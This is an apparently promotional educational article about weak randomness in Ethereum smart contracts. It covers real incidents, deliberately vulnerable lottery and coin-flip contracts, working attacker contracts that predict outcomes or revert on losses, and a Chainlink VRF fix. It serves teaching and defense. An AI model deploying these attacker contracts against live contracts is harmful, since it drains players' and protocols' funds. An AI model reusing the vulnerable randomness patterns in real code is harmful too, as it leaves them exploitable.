Weak Randomness Attacks

Smart Contract Vulnerability Deep Dive

JohnnyTime
JohnnyTime · Updated June 24, 2026
26 min read
Total Stolen Pending
Last Attack Pending
Latest Victim Pending

Summarize with AI

Weak Randomness in Smart Contracts: Are You Accidentally Rigging Your Own Game? 🎲

Randomness is the beating heart of Web3 lotteries, NFT minting, gaming, and fair token distributions. But here's the dirty secret about blockchains: true randomness doesn't exist by default.

Blockchains are designed to be entirely deterministic. Every input is public, and every calculation is predictable. If your smart contract generates "random" numbers using block data, you aren't creating a fair game - you're handing attackers a crystal ball. They can see the outcome before the transaction even executes.

In this guide, we'll expose the anatomy of weak randomness. From the hilariously simple block.timestamp lottery exploit to highly advanced validator-level RANDAO manipulation, you'll see exactly how these attacks work. We'll also break down real-world, multi-million-dollar hacks and show you the battle-tested solutions (like Chainlink VRF) that fix this vulnerability once and for all.

What Exactly Is a Weak Randomness Vulnerability?

A weak randomness vulnerability happens when a smart contract tries to "fake" randomness by using on-chain data that is entirely public and predictable - like block.timestamp, block.number, blockhash, or block.prevrandao.

Because the Ethereum Virtual Machine (EVM) is strictly deterministic (meaning every node must calculate the exact same result from the exact same input), there is absolutely no built-in source of true randomness. If you derive a winning number from current block properties, an attacker's smart contract can read those exact same properties inside the very same transaction.

The Transparent Dice Analogy 🎲

Imagine walking into a high-stakes casino to play a dice game. But there's a catch: the dice are totally transparent, and they roll under a glass dome. Even worse, the dealer announces the final result before asking you if you want to place a bet.

You'd never, ever lose. You'd just stand there, watch the transparent dice settle on a winning combination, and then throw your money on the table.

That is exactly how attackers exploit weak randomness in Web3. Because the inputs are public on-chain, the attacker sees the roll before the transaction settles. They only play when they are mathematically guaranteed to win.


"If your randomness can be computed by an attacker contract in the same transaction, it isn't random - it's a guaranteed exploit."
This single principle explains every weak randomness attack in blockchain history. Any on-chain value available to your contract is equally available to an attacker.

Why Weak Randomness is a Hacker's Dream 🤑

Weak randomness bugs have fueled some of the most creative, high-profile heists in Web3 history. From draining million-dollar lotteries to effortlessly sniping ultra-rare NFTs, if your randomness is cooked, you will get hacked:

$0M+
Estimated Total Losses
0
OWASP Smart Contract Top 10
2016–2025
Active Threat Period
Attack Year Impact
SmartBillions Lottery 2017 400+ ETH drained via blockhash prediction
Fomo3D 2018 ~$10.5M via block stuffing + airdrop PRNG exploit
EOS Gambling Wave 2018 170,503 EOS (~$1M+) across 8 gambling DApps
Meebits NFT 2021 ~$700K rare NFT sniped via mint-and-revert
Wolf Game 2021 Game halted, entire relaunch required
$FFIST Token 2023 ~$110K drained via predictable airdrop randomness
Chainlink VRF Bug 2023 $300K bounty for re-roll vulnerability

Security Check: Insecure randomness currently sits at #8 on the OWASP Smart Contract Top 10. Despite the well-known risks, it remains a surprisingly common money-grab for bug bounty hunters.

Where Does Weak Randomness Hide? 🕵️‍♂️

1
Block Properties
"Using block.timestamp, block.number, or blockhash - all publicly known before your transaction executes"
Risk: Critical | Most common mistake
2
On-Chain Hashing
"Hashing multiple on-chain values with keccak256 - looks complex but is equally predictable since all inputs are public"
Risk: Critical | False sense of security
3
prevrandao (Post-Merge)
"Validators can bias the output by 1 bit per slot and know the value before proposing, enabling selective play"
Risk: Medium | Improved but still biasable

Want to exploit weak randomness yourself in a safe lab? The Smart Contract Hacking course includes hands-on randomness exploitation exercises where you'll predict lottery outcomes and drain vulnerable contracts - exactly like real security researchers do.

Weak randomness attack diagram - 'Random' coin flip: the attacker never loses
'Random' coin flip: the attacker never loses

The Hall of Shame: Real-World Randomness Exploits 🏆

SmartBillions: The Lottery That Scammed Itself (2017)

Back in 2017, an Ethereum-based lottery called SmartBillions heavily marketed its "transparent" and "verifiably fair" system. Spoiler alert: It wasn't either. They used blockhash to pick the winning tickets.

An attacker realized they could just deploy a proxy contract that grabbed the exact same blockhash, calculated if they won, and literally only bought a ticket if the math checked out. Over 400 ETH was completely drained before the team could pull the plug. Transparency was definitely their biggest feature - specifically, the transparency of their exploit!

Meebits: The $700K Rare NFT Snipe (2021)

Larva Labs' $85 million Meebits NFT launch was exploited by a user who abused on-chain metadata transparency. The Meebits contract stored a zip file on IPFS that publicly revealed each token's traits by ID.

The attacker identified ultra-rare tokens and then repeatedly minted and cancelled transactions ("rerolling") until the random assignment gave them the desired rare token. Hundreds of mint attempts were auto-cancelled whenever the outcome wasn't the rare one.

Result: A rare Meebit worth approximately $700,000 was sniped - and the exploit was completely within the contract's rules.

Wolf Game: The NFT Game That Had to Restart (2021)

Wolf Game, a popular NFT staking game, used on-chain pseudo-randomness to determine whether minted tokens were sheep or wolves. The randomness was derived from block data.

Attackers discovered they could call mint() through a contract and revert the transaction whenever a sheep was received, guaranteeing they only minted the highly desirable (and valuable) wolves.

The damage was so severe that the developers had to halt all minting, recreate the entire game from scratch, issue new tokens, and integrate Chainlink VRF for secure randomness in the relaunched version.

Fomo3D: Block Stuffing Meets Randomness (2018)

Fomo3D was a "last player wins" game where the prize pool went to the last person to buy a key before a countdown timer expired. The timer reset with each purchase, and randomness was used to determine bonus awards.

The winner exploited the game by stuffing blocks with high-gas transactions, preventing other players' transactions from being included. Combined with the predictable nature of block-based randomness, the attacker ensured they were the final player - collecting the prize pool.

Even Chainlink VRF wasn't immune to creative exploitation. White-hat hackers discovered that a malicious VRF subscription owner could block randomness callback transactions and repeatedly re-roll until a desired random value was returned.

Chainlink paid a $300,000 bug bounty and implemented fixes to prevent subscription owners from censoring or filtering randomness fulfillments.

This incident proved that even decentralized randomness oracles must be carefully designed against all manipulation vectors - including their own subscription management layer.


How Weak Randomness Attacks Work: Step-by-Step

Understanding the attack mechanism is crucial. Let's break down the most common pattern.

The Core Problem

Every value on the blockchain is public. If your contract computes randomness from block.timestamp, blockhash, block.number, or msg.sender, an attacker contract running in the same block has access to the exact same values - and can compute the exact same "random" number.

The Attack Flow

Step What Happens State
1 Attacker reads target contract's randomness logic Identifies blockhash + timestamp pattern
2 Attacker deploys a contract that replicates the logic Same inputs = same output
3 Attacker's contract computes the "random" result Knows the outcome before calling
4 If favorable, attacker calls the target contract Guaranteed to win
5 If unfavorable, attacker waits for next block No risk, no loss

The Attack Phases

1
Tap to reveal
Reconnaissance: Analyzing the Randomness Source

The attacker reads the contract source code (often verified on Etherscan) and identifies how "random" numbers are generated. Common vulnerable patterns: keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)).

2
Tap to reveal
Replication: Building the Prediction Contract

The attacker deploys a contract that copies the exact same randomness computation. Since both contracts execute in the same block, they share identical block properties and produce identical "random" values.

3
Tap to reveal
Selective Execution: Only Play When You Win

The attacker contract computes the outcome first. If the result is favorable (wins the lottery, mints a rare NFT), it calls the target. If not, it simply reverts or waits - costing only gas.

4
Tap to reveal
Extraction: Draining the Prize Pool

The attacker repeats this process across multiple blocks until the contract is drained. Each attempt is risk-free - if the prediction fails, the transaction reverts and only gas is lost.

{
  "title": "🎬 Predict-then-win: reading the same block as the lottery",
  "stage": { "width": 920, "height": 440 },
  "nodes": [
    { "id": "attacker", "label": "Attacker Contract", "role": "replicates the math", "emoji": "🧑‍💻", "x": 60, "y": 200, "color": "red" },
    { "id": "target", "label": "The Lottery", "role": "pays the winner", "emoji": "🎰", "x": 440, "y": 60, "color": "cyan" },
    { "id": "block", "label": "Block data", "role": "timestamp / blockhash", "emoji": "🧱", "x": 440, "y": 330, "color": "slate" }
  ],
  "links": [
    { "from": "block", "to": "attacker" },
    { "from": "block", "to": "target" },
    { "from": "attacker", "to": "target" }
  ],
  "nets": [
    { "id": "atk", "label": "Attacker" }
  ],
  "legend": [
    { "cls": "call", "label": "read / call" },
    { "cls": "token", "label": "ETH payout" },
    { "cls": "sig", "label": "compute / draw" },
    { "cls": "fail", "label": "useless / no edge" }
  ],
  "scenarios": {
    "Vulnerable (on-chain PRNG)": [
      { "note": "The lottery picks a winner from <b>keccak256(block.number, block.timestamp, players.length)</b> - all public values.", "hi": ["target","block"], "bal": { "target": "pot: 400 ETH" }, "net": { "atk": "0 ETH" } },
      { "note": "In the same block, the attacker's contract reads the <b>exact same</b> block data.", "hi": ["block","attacker"], "chip": { "from": "block", "to": "attacker", "label": "read timestamp + number", "cls": "call" } },
      { "note": "It runs the identical keccak256 and learns the winning index <b>before</b> calling.", "tone": "bad", "hi": ["attacker"], "chip": { "from": "attacker", "to": "attacker", "label": "compute winnerIndex", "cls": "sig" } },
      { "note": "The result is favorable, so it calls buyTicket() + pickWinner() in one tx - guaranteed to win.", "tone": "bad", "hi": ["attacker","target"], "chip": { "from": "attacker", "to": "target", "label": "play (winning)", "cls": "call" } },
      { "note": "The pot pays out to the attacker. If the math hadn't favored them, they simply would not have played - only gas at risk.", "tone": "bad", "hi": ["target","attacker"], "chip": { "from": "target", "to": "attacker", "label": "400 ETH", "cls": "token" }, "bal": { "target": "pot: 0" }, "net": { "atk": "+400 ETH" } }
    ],
    "Fixed (Chainlink VRF)": [
      { "note": "The fix sources randomness from <b>Chainlink VRF</b>: the result is not derived from block data at all.", "hi": ["target"], "bal": { "target": "pot: 400 ETH" }, "net": { "atk": "0 ETH" } },
      { "note": "The attacker reads the block - but it no longer determines the winner, so there is nothing to precompute.", "tone": "ok", "hi": ["block","attacker"], "chip": { "from": "block", "to": "attacker", "label": "block data: useless", "cls": "fail" } },
      { "note": "VRF returns a verifiable random word in a <b>later</b> transaction the attacker cannot predict or front-run.", "tone": "ok", "hi": ["target"], "chip": { "from": "target", "to": "target", "label": "requestRandomWords()", "cls": "sig" } },
      { "note": "The winner is chosen from an unpredictable value. The attacker's edge is gone.", "tone": "ok", "hi": ["target"], "bal": { "target": "fair draw" }, "net": { "atk": "no edge" } }
    ]
  }
}

Weak Randomness Vulnerable Code Example

Let's examine two common vulnerable patterns - a lottery and a dice game.

This contract is intentionally vulnerable. Never use this pattern in production.

Vulnerable Lottery Contract

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
pragma solidity ^0.8.20;

contract VulnerableLottery {
    address public owner;
    address[] public players;
    uint256 public ticketPrice;
    address public lastWinner;

    constructor(uint256 _ticketPrice) {
        owner = msg.sender;
        ticketPrice = _ticketPrice;
    }

    function buyTicket() public payable {
        require(msg.value == ticketPrice, "Invalid ticket price");
        players.push(msg.sender);
    }

    function pickWinner() public {
        require(players.length > 0, "No players");

        // VULNERABILITY: All inputs are publicly known!
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(
                    block.number,        // Public
                    block.timestamp,     // Public
                    players.length       // Public
                )
            )
        ) % players.length;

        lastWinner = players[winnerIndex];
        payable(lastWinner).transfer(address(this).balance);
        delete players;
    }
}

Vulnerable Coin Flip Contract

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
pragma solidity ^0.8.20;

contract VulnerableCoinFlip {
    mapping(address => uint256) public consecutiveWins;

    function flip(bool _guess) public returns (bool) {
        // VULNERABILITY: blockhash is publicly readable!
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins[msg.sender]++;
            return true;
        } else {
            consecutiveWins[msg.sender] = 0;
            return false;
        }
    }
}

Why Are These Vulnerable?

The problem with both contracts is the order of knowledge:

  1. block.number, block.timestamp, and blockhash(block.number - 1) are all known to every contract executing in the same block

  2. players.length and msg.sender are publicly visible on-chain

  3. keccak256 is deterministic - same inputs always produce the same output

  4. An attacker contract can compute the "random" value before calling the vulnerable function

Hashing predictable inputs with keccak256 does not create randomness. It creates a deterministic transformation of public data.

Weak randomness attack diagram - Where the 'randomness' comes from: public block data vs an unpredictable oracle
Where the 'randomness' comes from: public block data vs an unpredictable oracle

Weak Randomness Attacker Contract

Here's how an attacker exploits the vulnerable coin flip contract above.

// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.8.20;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker {
    ICoinFlip public target;
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _targetAddress) {
        target = ICoinFlip(_targetAddress);
    }

    function attack() external {
        // Step 1: Compute the SAME "random" value
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        // Step 2: Submit the guaranteed correct guess
        target.flip(side);
    }
}

Advanced Attacker: Lottery with Revert Protection

// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.8.20;

interface ILottery {
    function buyTicket() external payable;
    function pickWinner() external;
}

contract LotteryAttacker {
    ILottery public lottery;

    constructor(address _lottery) {
        lottery = ILottery(_lottery);
    }

    function attack() external payable {
        // Step 1: Buy a ticket
        lottery.buyTicket{value: msg.value}();

        // Step 2: Predict the winner index using the same logic
        // (This works if pickWinner is called in the same block)
        uint256 predictedWinner = uint256(
            keccak256(abi.encodePacked(
                block.number,
                block.timestamp,
                uint256(2)  // assuming 2 players
            ))
        ) % 2;

        // Step 3: Only proceed if WE are the predicted winner
        require(predictedWinner == 1, "Not going to win, revert!");

        // Step 4: Trigger the draw
        lottery.pickWinner();
    }

    receive() external payable {}
}

Attack Execution Summary

  1. Compute the same "random" value the target contract will produce

  2. Compare the predicted outcome to a favorable result

  3. Revert the entire transaction if the outcome is unfavorable (costs only gas)

  4. Execute only when guaranteed to win

  5. Repeat across blocks until the contract is drained

In real attacks, the attacker deploys a contract that automates this loop - calling attack() every block until all funds are extracted.


Ready to write exploits like this yourself? The Smart Contract Hacking course covers weak randomness exploitation in-depth with real-world scenarios. Learn from JohnnyTime (12+ years in cybersecurity) and Trust (#1 Code4rena warden).


How to Prevent Weak Randomness Attacks: Best Practices

Preventing weak randomness requires abandoning on-chain sources entirely. Here are the industry-standard techniques, ranked by effectiveness.

The gold standard for on-chain randomness. Chainlink VRF generates random numbers off-chain using a private key and provides a cryptographic proof that the number was not tampered with.

How it works:

  1. Your contract requests randomness from Chainlink VRF

  2. Chainlink nodes generate a random number off-chain

  3. A cryptographic proof is submitted on-chain

  4. Your contract verifies the proof and receives the random number

No one - not even Chainlink node operators - can predict or manipulate the result.

2. Commit-Reveal Schemes

A two-phase approach where participants first submit a hidden commitment, then reveal their values:

  1. Commit Phase: Each participant submits keccak256(secret + value) - the hash hides the actual value

  2. Reveal Phase: Participants reveal their secret and value; the contract verifies against the commitment

  3. Combine: All revealed values are combined to produce the final random number

Limitation: Vulnerable to the "last revealer attack" - the last participant can choose not to reveal if the outcome is unfavorable.

3. API3 QRNG (Quantum Random Number Generation)

API3 provides quantum-generated random numbers from the Australian National University's quantum vacuum fluctuation measurements. The randomness is delivered via Airnode request-response protocol and is free (you only pay gas for the callback).

4. Gelato VRF

Gelato VRF uses Drand, a decentralized randomness beacon, to provide verifiable random numbers. Contracts inherit from GelatoVRFConsumerBase and receive randomness through a callback pattern similar to Chainlink VRF.

🔒
"Never derive randomness from block properties. Use an off-chain oracle."
This single rule - use Chainlink VRF, API3 QRNG, or a commit-reveal scheme - eliminates the entire class of weak randomness attacks. No exceptions.

Prevention Effectiveness Comparison

Effectiveness98/100

What it does: Generates cryptographically verifiable random numbers off-chain using VRF proofs. Supports payment in LINK or native tokens.

When to use: Any production contract that needs randomness - lotteries, NFT minting, gaming, random selection.

Limitation: Requires LINK token for payment. The 2023 re-roll vulnerability showed subscription owners could block fulfillments - now patched.

Effectiveness75/100

What it does: Two-phase protocol where participants commit hashed values first, then reveal. Prevents front-running and prediction.

When to use: Two-player games, auctions, and scenarios where external oracle costs are prohibitive.

Limitation: Vulnerable to the "last revealer attack" - the final participant can withhold their reveal if the outcome is unfavorable. Requires time-bound reveals with slashing.

Effectiveness40/100

What it does: Returns the RANDAO beacon value accumulated from validator BLS signatures. Each validator contributes 1 bit of randomness per slot.

When to use: Only for low-stakes scenarios where validator manipulation is economically irrational (e.g., cosmetic NFT traits worth less than block rewards).

Limitation: Validators know prevrandao before proposing and can skip their slot to bias the output by 1 bit. Colluding consecutive validators multiply this influence. Not suitable for high-value randomness.

Effectiveness5/100

What it does: Uses block properties that are publicly known before transaction execution. blockhash is only available for the last 256 blocks and returns 0 afterward.

When to use: Never. This is the root cause of nearly every randomness exploit in blockchain history.

Limitation: Any contract executing in the same block can compute the exact same value. Validators/miners can manipulate timestamps within allowed bounds. This is not randomness - it is public data.


Here's a production-ready lottery contract using Chainlink VRF v2.5.

// SECURE CONTRACT - Production-ready
pragma solidity ^0.8.20;

import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";

contract SecureLottery is VRFConsumerBaseV2Plus {
    // STEP 1: VRF configuration
    uint256 public s_subscriptionId;
    bytes32 public s_keyHash;
    uint32 public s_callbackGasLimit = 100000;
    uint16 public s_requestConfirmations = 3;
    uint32 public s_numWords = 1;

    // Lottery state
    address[] public players;
    uint256 public ticketPrice;
    address public lastWinner;
    uint256 public lastRequestId;
    bool public lotteryOpen;

    event LotteryEntered(address indexed player);
    event WinnerRequested(uint256 indexed requestId);
    event WinnerPicked(address indexed winner, uint256 prize);

    constructor(
        uint256 _subscriptionId,
        address _vrfCoordinator,
        bytes32 _keyHash,
        uint256 _ticketPrice
    ) VRFConsumerBaseV2Plus(_vrfCoordinator) {
        s_subscriptionId = _subscriptionId;
        s_keyHash = _keyHash;
        ticketPrice = _ticketPrice;
        lotteryOpen = true;
    }

    function enterLottery() external payable {
        require(lotteryOpen, "Lottery closed");
        require(msg.value == ticketPrice, "Wrong ticket price");
        players.push(msg.sender);
        emit LotteryEntered(msg.sender);
    }

    // STEP 2: Request randomness from Chainlink VRF
    function pickWinner() external {
        require(players.length > 0, "No players");
        lotteryOpen = false;

        lastRequestId = s_vrfCoordinator.requestRandomWords(
            VRFV2PlusClient.RandomWordsRequest({
                keyHash: s_keyHash,
                subId: s_subscriptionId,
                requestConfirmations: s_requestConfirmations,
                callbackGasLimit: s_callbackGasLimit,
                numWords: s_numWords,
                extraArgs: VRFV2PlusClient._argsToBytes(
                    VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
                )
            })
        );
        emit WinnerRequested(lastRequestId);
    }

    // STEP 3: Receive verified randomness (callback from Chainlink)
    function fulfillRandomWords(
        uint256 /* requestId */,
        uint256[] calldata randomWords
    ) internal override {
        uint256 winnerIndex = randomWords[0] % players.length;
        lastWinner = players[winnerIndex];

        uint256 prize = address(this).balance;
        (bool success, ) = lastWinner.call{value: prize}("");
        require(success, "Transfer failed");

        emit WinnerPicked(lastWinner, prize);
        delete players;
        lotteryOpen = true;
    }
}

Security Features at a Glance

Feature Protection
Chainlink VRF v2.5 Cryptographically verified off-chain randomness
fulfillRandomWords callback Only Chainlink coordinator can deliver randomness
requestConfirmations = 3 Waits for 3 block confirmations before fulfillment
Lottery closes during draw Prevents entry manipulation during randomness request
Events on all actions Full transparency and monitoring

This implementation eliminates every attack vector described in this article. No attacker - miner, validator, or contract - can predict or influence the random number.


Advanced Weak Randomness Attack Patterns

As DeFi and GameFi protocols evolve, so do randomness exploits. Here are the sophisticated patterns that separate junior auditors from senior security researchers.

1. The prevrandao Validator Bias Attack (Post-Merge)

After Ethereum's Merge, block.difficulty was replaced by block.prevrandao - a RANDAO accumulator value from the beacon chain. While more random than pre-merge block properties, it's not manipulation-proof.

How it works: Each block proposer (validator) contributes a BLS signature to the RANDAO. But the proposer knows the prevrandao value before deciding whether to propose their block. A validator can choose to skip their slot if the resulting randomness would be unfavorable, biasing the output by 1 bit.

With colluding validators: If an attacker controls N consecutive block proposers, they can explore 2^N possible outcomes and select the most favorable one.

Research shows that Lido, the largest staker, could have manipulated the RANDAO value in 47,694 instances where they held consecutive proposer slots.

2. The NFT Rarity Sniping Attack

For NFT mints that derive rarity from on-chain randomness:

  1. Attacker identifies the randomness formula (e.g., keccak256(tokenId, blockhash))

  2. Attacker deploys a contract that simulates the mint and reads the resulting traits

  3. If the traits are not rare enough, the contract reverts the transaction

  4. The attacker only pays gas for failed attempts, but keeps every rare mint

This was the exact attack used against Meebits, where hundreds of mint attempts were cancelled until a rare token was assigned.

3. The Blockhash Window Attack

blockhash() only returns values for the last 256 blocks. After that, it returns 0x0. If a contract stores a block number and later uses its hash for randomness, an attacker can wait 256 blocks until the hash returns zero - a known, exploitable value.

// VULNERABLE PATTERN
uint256 public targetBlock;

function commit() external {
    targetBlock = block.number + 10;
}

function reveal() external {
    // After 256 blocks, blockhash returns 0!
    uint256 random = uint256(blockhash(targetBlock));
    // Attacker waits 256+ blocks, random = 0 (known value)
}

4. The Gambling Contract Revert Attack

For on-chain dice, roulette, or slot machine contracts:

  1. Attacker contract calls the gambling function

  2. In the same transaction, the attacker reads the outcome

  3. If the outcome is a loss, the attacker reverts the entire transaction

  4. Only gas is lost on failed attempts; all winning bets complete

This turns any on-chain gambling contract with predictable randomness into a guaranteed-profit machine for the attacker.

Comparing Defense Architectures

Vulnerable

On-Chain Block Data

Using block.timestamp, blockhash, or block.number for randomness. Any contract in the same block can compute identical values. This is not randomness - it is public data masquerading as entropy.

Partial Defense

prevrandao Alone

Better than pre-Merge block data, but validators can bias by 1 bit per slot. Consecutive proposer slots multiply influence. Only suitable for low-value applications where manipulation cost exceeds reward.

Recommended

Chainlink VRF + Commit-Reveal

Chainlink VRF provides cryptographically proven randomness. Combined with commit-reveal for user inputs and multi-block confirmation delays, this eliminates all known randomness attack vectors.


These advanced patterns separate junior auditors from senior researchers. The Smart Contract Hacking course covers weak randomness, prevrandao manipulation, and NFT sniping alongside flash loans, oracle manipulation, and more. Join 2,000+ security researchers in our Discord community.


Common Misconceptions

?

"Hashing block data with keccak256 makes it random."

Tap to reveal
MYTH

keccak256 is a deterministic function - same inputs always produce the same output. If an attacker knows the inputs (block.timestamp, block.number, msg.sender), they can compute the hash identically. Hashing public data does not create randomness.

?

"block.prevrandao is a secure source of randomness post-Merge."

Tap to reveal
MYTH

Validators know prevrandao before proposing their block and can skip their slot to bias the output by 1 bit. Validators with consecutive slots can explore 2^N outcomes. It is improved over pre-Merge but NOT suitable for high-value randomness.

?

"Adding msg.sender to the hash makes randomness unpredictable."

Tap to reveal
MYTH

msg.sender is known to the attacker (it is their own address or their contract's address). Adding more public values to a hash does not make it less predictable - it just makes it a more complex deterministic computation.

?

"Chainlink VRF is completely tamper-proof with no attack vectors."

Tap to reveal
MOSTLY FACT

Chainlink VRF is cryptographically secure and the best available option. However, the 2023 re-roll vulnerability showed that VRF subscription owners could filter results. Always ensure your VRF implementation follows Chainlink's latest best practices.


Weak randomness attacks often intersect with other vulnerability classes, creating compound exploits.

Oracle manipulation attacks share a conceptual cousin with weak randomness - both exploit the fundamental challenge of getting trustworthy external data into a deterministic blockchain environment. While oracle manipulation targets price feeds, weak randomness targets entropy sources. Both are solved by using decentralized off-chain oracles like Chainlink.

Weak randomness can also be weaponized alongside access control attacks. If an attacker can manipulate who triggers the randomness function (e.g., calling pickWinner() at a strategically chosen block), they combine timing control with predictable randomness to guarantee favorable outcomes - as seen in the Fomo3D block stuffing attack.


Test Your Randomness Security IQ

5 questions - How well do you really know this vulnerability?

Question 1 of 5

Frequently Asked Questions About Weak Randomness

Not natively. The EVM is deterministic by design - every node must compute the same result for consensus. True randomness must come from off-chain sources like Chainlink VRF, API3 QRNG, or commit-reveal schemes. Any value derived purely from on-chain data (block properties, addresses, balances) is predictable.

block.prevrandao is significantly better than pre-Merge block data but not fully secure. Validators have a 1-bit bias per slot and know the value before proposing. For low-stakes use cases (cosmetic NFT traits, non-financial games), it may be acceptable. For anything involving real value - lotteries, DeFi, rare NFTs - use Chainlink VRF instead.

Chainlink VRF generates random numbers off-chain using a private key and the request seed. It produces a cryptographic proof (verifiable random function proof) that is verified on-chain. If the proof doesn't match, the transaction reverts. This guarantees that neither the oracle operator, the contract owner, nor any miner/validator can predict or tamper with the random value.

Yes, always. keccak256 is a deterministic function - same inputs produce the same output every time. If the inputs are on-chain values like block.timestamp, block.number, or msg.sender, any attacker contract executing in the same block can compute the identical result before calling your function.

API3 QRNG is free to use (you only pay gas for the callback transaction). It provides quantum-generated random numbers from the Australian National University. For higher-stakes applications, Chainlink VRF v2.5 is the industry standard, requiring LINK tokens for payment but offering the most battle-tested security guarantees.

Write a test where an attacker contract calls your randomness-dependent function. If the attacker can predict the outcome or selectively revert on unfavorable results, your randomness is broken. Tools like Slither and Semgrep also detect common weak randomness patterns. Professional auditors specifically check for on-chain randomness sources in every review.


Quick Reference: Secure Randomness Checklist

Before deploying any contract that depends on randomness:

  • Never use block.timestamp, block.number, or blockhash for randomness - these are publicly known

  • Never use keccak256 of on-chain values as randomness - deterministic hash of public data is not random

  • Use Chainlink VRF v2.5 for production contracts requiring randomness

  • Consider API3 QRNG for a free alternative with quantum-sourced entropy

  • Implement commit-reveal for two-party scenarios if external oracles are impractical

  • Add multi-block confirmation delays between randomness request and fulfillment

  • Prevent contract callers from reverting on unfavorable outcomes (use callbacks, not return values)

  • Close entry before requesting randomness to prevent manipulation of inputs

  • Validate that blockhash is non-zero if using it as any auxiliary input

  • Get professional security audits specifically reviewing randomness generation

  • Monitor for attacker contracts that repeatedly call and revert against your functions


Conclusion: Randomness Is Harder Than It Looks

Weak randomness might seem like a niche vulnerability, but it has:

  • Drained entire lottery contracts (SmartBillions)

  • Forced complete game relaunches (Wolf Game)

  • Enabled $700K NFT sniping exploits (Meebits)

  • Remained a top-10 OWASP smart contract vulnerability for years

The fundamental lesson: On a deterministic, public blockchain, randomness cannot be derived from on-chain data alone. Period.

The solution is straightforward: use Chainlink VRF, API3 QRNG, or a properly designed commit-reveal scheme. There is no shortcut, no clever hash combination, and no block property that provides secure randomness.

Don't let your protocol become the next cautionary tale.


Take Your Security Skills to the Next Level

Understanding weak randomness is just the beginning. To become a professional smart contract auditor, you need hands-on experience with real exploit scenarios.

The Smart Contract Hacking course delivers:

  • 320+ videos covering weak randomness, flash loans, oracle manipulation, reentrancy, and more

  • 40+ hands-on exercises exploiting and securing real contracts

  • Expert instruction from JohnnyTime, Trust (#1 Code4rena warden), and Pashov

  • 2,000+ member Discord for support and job opportunities

  • SSCH Certification to validate your expertise

Our students win audit contests, land security jobs, and earn significant bug bounties. See their success stories.

Start Your Security Researcher Journey

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master Weak Randomness Attacks in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice Weak Randomness Attacks Free Trial